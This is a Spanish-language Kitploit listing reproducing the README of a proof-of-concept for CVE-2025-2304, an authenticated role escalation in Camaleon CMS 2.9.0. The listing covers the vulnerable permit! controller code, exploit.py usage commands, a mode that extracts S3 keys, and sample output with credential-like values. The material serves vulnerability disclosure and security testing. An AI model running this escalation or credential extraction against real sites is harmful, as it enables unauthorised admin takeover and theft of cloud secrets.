Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2304 — Escalada de privilegios autenticada en Camaleon CMS v2.9.0 mediante manejo incorrecto de parámetros en el endpoint updated_ajax. | Kitploit
Herramientas/GitHubGitHub/alien0ne/cve-2025-2304
Escalada de PrivilegiosAtaques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Escalada de privilegios autenticada en Camaleon CMS v2.9.0 mediante manejo incorrecto de parámetros en el endpoint updated_ajax.

Ver Repositorio
193hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Camaleon CMS 2.9.0 – Escalada de Privilegios Autenticada (Cambio de Rol) + Fuga Opcional de Configuración S3

Objetivo: Camaleon CMS v2.9.0
Tipo: Escalada de privilegios autenticada mediante asignación masiva en updated_ajax (campo role)
Extras: Extracción opcional de configuración S3 desde la página de configuración del administrador (si el usuario autenticado puede acceder a ella después de la escalada)

Visión General

Este repositorio contiene un script de prueba de concepto en Python que:

  1. Inicia sesión en el panel de administración de Camaleon CMS con credenciales válidas.
  2. Obtiene un token CSRF de /admin/profile/edit.
  3. Llama al endpoint updated_ajax para actualizar los campos password[...] y abusar de permit! para establecer password[role]=admin.
  4. Opcionalmente (-e) extrae valores de configuración S3 de /admin/settings/site.
  5. Opcionalmente (-r) revierte el rol a su valor original después de la ejecución.

Este comportamiento coincide con el patrón de asignación masiva insegura descrito en el aviso relacionado:

  • Tenable Research Advisory: TRA-2025-09

Causa Raíz (¿Qué es vulnerable?)

La acción del controlador a continuación actualiza un usuario con permit!:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Debido a que permit! permite todas las claves bajo password, un atacante puede enviar:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

y la aplicación lo aceptará, elevando el rol del usuario.

Impacto

  • Cualquier usuario autenticado que pueda alcanzar la ruta vulnerable potencialmente puede escalar privilegios estableciendo su rol a admin.
  • Después de la escalada, las páginas exclusivas de administrador (como la configuración del sitio) pueden volverse accesibles, potencialmente filtrando valores de configuración sensibles (por ejemplo, claves S3).

Requisitos

  • Python 3.8+
  • requests

Instalar dependencia:

root@kitploit:~
pip install requests

Uso

Escalada de privilegios básica (autenticada)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

Escalar + extraer configuración S3 (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

Escalar + revertir rol (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

Escalar + extraer + revertir

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

Argumentos

Ejemplo de Ejecución

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

Salida de Ejemplo

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

Cómo el PoC Confirma el Inicio de Sesión

El script verifica el HTML devuelto en busca de un enlace /admin/logout después del POST de inicio de sesión.
Si el enlace de cierre de sesión está presente, la sesión se considera autenticada.

Notas sobre Tokens CSRF

Camaleon utiliza CSRF estilo Rails. Normalmente verás tokens en dos lugares comunes:

  • Entrada oculta en formularios: name="authenticity_token" value="..."
  • Meta etiqueta: <meta name="csrf-token" content="...">

El PoC obtiene el meta csrf-token de /admin/profile/edit y lo utiliza en:

  • Cuerpo de la solicitud: authenticity_token=<token>
  • Cabecera: X-CSRF-Token: <token>

Descargo de Responsabilidad

Este código se proporciona solo para pruebas de seguridad autorizadas y fines educativos (por ejemplo, laboratorios, CTFs y entornos donde tengas permiso explícito).
No lo utilices contra sistemas que no poseas o para los que no tengas permiso de prueba.


Referencias

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml
Descargar herramienta
BanderaDescripción
-u, --urlURL base (ej., http://alienone.in)
-U, --usernameNombre de usuario válido
-P, --passwordContraseña válida
--newpassValor de contraseña enviado en la solicitud de actualización (por defecto: test)
-e, --extractExtraer configuración S3 de la página de configuración
-r, --revertRevertir el rol al original después de la escalada